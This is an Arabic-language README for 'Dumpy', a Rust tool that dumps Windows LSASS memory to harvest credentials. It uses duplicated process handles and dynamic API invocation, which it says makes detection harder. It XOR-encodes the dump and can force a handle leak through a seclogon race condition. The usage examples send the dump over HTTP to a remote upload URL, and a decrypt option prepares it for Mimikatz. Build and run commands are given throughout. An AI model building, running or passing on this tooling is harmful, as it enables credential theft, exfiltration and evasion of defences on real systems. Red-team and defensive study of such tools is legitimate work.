
أعد استخدام المقابض المفتوحة لتفريغ LSASS ديناميكيًا.
تقوم هذه الأداة باستدعاء MiniDumpWriteDump بشكل ديناميكي لتفريغ محتوى ذاكرة lsass. تتم هذه العملية دون فتح مقبض عملية جديد على lsass، وباستخدام DInvoke_rs لجعل اكتشاف سلوكها الخبيث أكثر صعوبة. للحصول على مقبض عملية صالح دون استدعاء OpenProcess على lsass، يتم تحليل جميع مقابض العمليات في النظام باستخدام NtQuerySystemInformation وNtDuplicateObject وNtQueryObject وQueryFullProcessImageNameW.
تُستخدم NTFS Transactions من أجل إجراء XOR على تفريغ الذاكرة قبل تخزينه على القرص أو إرساله عبر HTTP.
تمت إضافة الدعم لكل من x86 وx64.
فقط قم بتجميع الكود في وضع release وتنفيذه:
C:\Users\User\Desktop\Dumpy\dumpy> cargo build --release
C:\Users\User\Desktop\Dumpy\dumpy\target\x86_64-pc-windows-msvc\release> dumpy.exe -h
في حال كنت ترغب في تجميع الأداة لنظام x86، قم بتعديل قيمة الخيار "target" في ملف .cargo\config (مثال: target = "i686-pc-windows-msvc").
Usage: dumpy.exe --dump|--decrypt [options]
Options:
-h, --help Print this help menu.
--dump Dump lsass.
--decrypt Decrypt a previously generated dump file.
-f, --force Force seclogon's service to leak a lsass handle
through a race condition.
-k, --key Encryption key [default: 1234abcd]
-i, --input Encrypted dump file [default: c:\temp\input.txt]
-o, --output Destination path [default: c:\temp\output.txt]
-u, --upload Upload URL
لدى Dumpy إجراءان رئيسيان:
dump: سينفذ المنطق الرئيسي لتفريغ lsass. بشكل افتراضي، سيخزن النتيجة في ملف نصي مُعالَج بـ XOR باسم عشوائي في الدليل الحالي. يتيح خيار upload إرسال محتوى الذاكرة عبر HTTP إلى مضيف بعيد، متجنبًا إنشاء الملف المُعالَج بـ XOR على القرص. لقد استخدمت هذا الخادم HTTP البسيط للتعامل مع الرفع، لكن أي خادم HTTP آخر يدعم طلبات multipart/form-data سيعمل.
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload
إذا كنت تريد فرض تسريب مقبض إلى lsass من خلال حالة السباق (race condition) في خدمة seclogon التي وصفها Antonio Cocomazzi في هذه التدوينة، فما عليك سوى استخدام الخيار force:
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force
decrypt: يتيح هذا الإجراء الحصول على تفريغ الذاكرة المفكوك تشفيره بالتنسيق نفسه الذي تتوقعه أدوات مثل Mimikatz. كوسائط، يتوقع تفريغ الذاكرة المُعالَج بـ XOR ومفتاح التشفير ومسار ملف الإخراج. في حال تم رفع الملف المُعالَج بـ XOR باستخدام HTTP، من الضروري إجراء فك ترميز base64 للمحتوى قبل عملية فك التشفير هذه.
C:\Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey